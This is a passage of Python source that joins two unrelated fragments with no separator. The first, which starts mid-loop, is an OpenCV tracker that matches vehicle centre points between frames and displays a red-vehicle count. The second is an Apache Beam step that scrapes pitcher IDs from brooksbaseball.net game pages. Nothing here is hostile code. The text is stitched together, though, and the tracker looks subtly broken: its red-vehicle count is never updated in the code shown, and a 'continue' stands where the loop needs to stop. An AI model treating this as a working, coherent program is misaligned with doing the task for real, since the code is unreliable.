                distance = math.hypot(pt2[0] - pt[0], pt2[1] - pt[1])

                if distance < 20:
                    tracking_objects[track_id] = pt
                    track_id += 1
    else:

        tracking_objects_copy = tracking_objects.copy()
        center_points_cur_frame_copy = center_points_cur_frame.copy()
        #red_car_id_copy = red_car_id.copy()

        for object_id, pt2 in tracking_objects_copy.items():
            object_exists = False
            for pt in center_points_cur_frame_copy:
                distance = math.hypot(pt2[0] - pt[0], pt2[1] - pt[1])

                # Update IDs position
                if distance < 20:
                    tracking_objects[object_id] = pt
                    object_exists = True
                    if pt in center_points_cur_frame:
                        center_points_cur_frame.remove(pt)
                    continue

            # Remove IDs lost
            if not object_exists:
                tracking_objects.pop(object_id)

        # Add new IDs found
        for pt in center_points_cur_frame:
            tracking_objects[track_id] = pt
            track_id += 1

    for object_id, pt in tracking_objects.items():
        cv2.circle(frame, pt, 5, (0, 0, 255), -1)
        cv2.putText(frame, str(object_id), (pt[0], pt[1] - 7), 0, 1, (0, 0, 255), 2)

    # print("Tracking objects")
    # print(tracking_objects)

    # print("CUR FRAME LEFT PTS")
    # print(center_points_cur_frame)

    cv2.putText(frame, " Red Vehicle Count : "+str(len(red_car_id)), (10, 70), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 0, 255),5)

    cv2.imshow("Original video", frame)

    # Make a copy of the points
    center_points_prev_frame = center_points_cur_frame.copy()

    key = cv2.waitKey(1)
    if key == 27:
        break

cap.release()
cv2.destroyAllWindows()


import apache_beam as beam

class collectPitchers(beam.DoFn):

    def process(self, row):
        from bs4 import BeautifulSoup
        import requests

        game_url = 'http://www.brooksbaseball.net/pfxVB/pfx.php?month=' + row.month + '&day=' + row.day + '&year=' + row.year + '&game=' + row.game_id + '%2F&prevDate=827&league=mlb'
        game_request = requests.get(game_url)
        game_soup = BeautifulSoup(game_request.text, features="lxml")

        for j in range(0, len(game_soup.find_all('select'))):
            if game_soup.find_all('select')[j].get('name') == 'pitchSel': # scroll through the game's pitchers
                for pitcher_opt in game_soup.find_all('select')[j].find_all('option'):
                    pitcher_id = pitcher_opt.get('value')

                    row.pitcher_id = pitcher_id

                    yield row